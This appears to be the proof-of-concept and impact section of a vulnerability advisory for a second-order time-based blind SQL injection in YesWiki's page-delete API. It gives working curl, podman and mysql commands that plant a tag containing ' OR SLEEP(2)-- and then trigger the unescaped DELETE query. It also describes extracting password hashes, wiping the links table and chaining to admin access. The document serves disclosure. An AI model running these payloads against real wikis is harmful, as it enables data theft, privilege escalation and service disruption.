Details
EVIL_TAG="SleepTag' OR SLEEP(2)-- "
EVIL_ENC=$(printf '%s' "$EVIL_TAG" | \
podman exec -i "$CTR" php -r 'echo rawurlencode(file_get_contents("php://stdin"));')
echo "raw tag : $EVIL_TAG"
echo "URL-encoded : $EVIL_ENC"
curl -s -b "$CJ" -X POST "${BASE}/?api/pages/${EVIL_ENC}" \
--data-urlencode "body=poc"
- The API accepted a tag with a literal
'and SQL keywords, completely unsanitized. - The single quote round-tripped through
PageManager::save()'sescape()and is now sitting in the database byte-for-byte asSleepTag' OR SLEEP(2)--— exactly what an attacker needs the read-back to return. TestUser01is the owner, so the eventualUserIsOwner($tag)check in the delete handler will pass for them.
Now, create a second page that will link to the evil page
The sink at L626 is gated by if (!$pageManager->isOrphaned($tag)). To pass it, the evil tag has to appear as a to_tag somewhere in the _links table. The cleanest way is the legitimate {{include page="…"}} mechanism: a page whose body references the evil tag will register a link.
First, create the placeholder linker via the API (no link tracking on this path - that fires from the web editor):
curl -s -b "$CJ" -X POST "${BASE}/?api/pages/LinkPoc" \
--data-urlencode "body=placeholder"
# Grab its id — we'll need it for the edit form's hidden "previous" field
LINKID=$(podman exec "$CTR" mysql -uroot yeswiki -N -e \
"SELECT id FROM ${PREFIX}pages WHERE tag='LinkPoc' AND latest='Y';")
echo "LinkPoc id = $LINKID"
Make the evil page non-orphaned (web edit handler)
Submit a web-editor save with body {{include page="<evil tag>"}}. The pre-handler tools/security/handlers/page/__edit.php would normally require a hashcash token, but env/install.sh disables use_hashcash so this works without one. Hashcash is irrelevant to the SQLi sink itself; production deployments that leave it enabled are still vulnerable, just slightly more involved to trigger.
NEW_BODY='{{include page="SleepTag'"'"' OR SLEEP(2)-- "}} rev-1'
curl -sL -b "$CJ" -X POST "${BASE}/?LinkPoc/edit" \
--data-urlencode "submit=Sauver" \
--data-urlencode "previous=${LINKID}" \
--data-urlencode "body=${NEW_BODY}"
- The web edit handler called
LinkTracker::registerLinks($page, false, false)(handlers/page/edit.php:69). registerLinks()formatted the page body and reachedpreventTrackingActions()(includes/services/LinkTracker.php:160).- That regex extracted
SleepTag' OR SLEEP(2)--from{{include page="…"}}, calledPageManager::getOne(<extracted>)which found the page (lookup usesescape(), so a stored'still matches), and called$this->add($page['tag']). LinkTracker::persist()then inserted(from_tag='LinkPoc', to_tag='<evil tag, raw quote>')into_links.
Proves: the second-order data has now been planted on both sides of the join the vulnerable DELETE query touches.
We need a control measurement before the actual SQLi, so the delta is unambiguous. Delete a tag we know doesn't exist:
T0=$(date +%s.%N)
curl -s -b "$CJ" -X DELETE "${BASE}/?api/pages/NonExistent99" -o /dev/null
T1=$(date +%s.%N)
awk "BEGIN{printf \"baseline elapsed: %.3fs\n\", $T1-$T0}"
Expected output: baseline elapsed: ~0.3–0.7 s (one-shot HTTP round-trip + a fast SELECT … WHERE tag = …). Record this number.
Trigger the SQLi (Tier 2 - the actual vulnerability fires)
Issue a DELETE /api/pages/<evil tag>. The handler reads the page back from the DB, sees the row, takes $tag = $page['tag'] (the raw stored value, still containing '), checks isOrphaned() (returns *not* orphaned because step 5 inserted a row), and runs the unescaped DELETE on L626. With our tag, that becomes:
DELETE FROM yeswiki_links WHERE to_tag = 'SleepTag' OR SLEEP(2)-- '
^^^ ^^^^^^^^^^^^^^^^
| injected SQL
breakout
SLEEP(2) runs once per row scanned. We seeded one row, so the call should hang ~2 s before responding.
T0=$(date +%s.%N)
curl -s -b "$CJ" -X DELETE "${BASE}/?api/pages/${EVIL_ENC}" -o /tmp/yw_del.json
T1=$(date +%s.%N)
awk "BEGIN{printf \"exploit elapsed: %.3fs\n\", $T1-$T0}"
echo "--- response ---"
cat /tmp/yw_del.json; echo
**Expected output (the precise timing varies by host, but the *delta* relative to step 6 is what matters):**
exploit elapsed: 2.555s
--- response ---
{"deleted":["SleepTag' OR SLEEP(2)-- "]}
Impact
- Blind extraction of any column the wiki database account can read: user password hashes (
_users.password), email addresses, ACLs (_acls.list), private page bodies (_pages.body), database session data, etc. - The sink is a
DELETE; an attacker can appendOR 1=1--to wipe the entire_linkstable, breaking inter-page navigation site-wide. The path can also be combined withUNION-style techniques to read into an error if the DBMS surfaces them (most YesWiki setups suppress errors, hence time-based blind is the realistic primary primitive). SLEEP()per row scales with link-table size; a malicious tag withSLEEP(60)on a wiki with N links will hang one connection for ~60 N seconds, easily exhausting the MariaDB worker pool._users.passwordhashes are bcrypt; offline cracking of weaker passwords yields admin sessions. The bug therefore acts as a low-priv → admin primitive, and chains with the bazar deserialization bug (separate advisory) as low-priv → admin → object injection / future RCE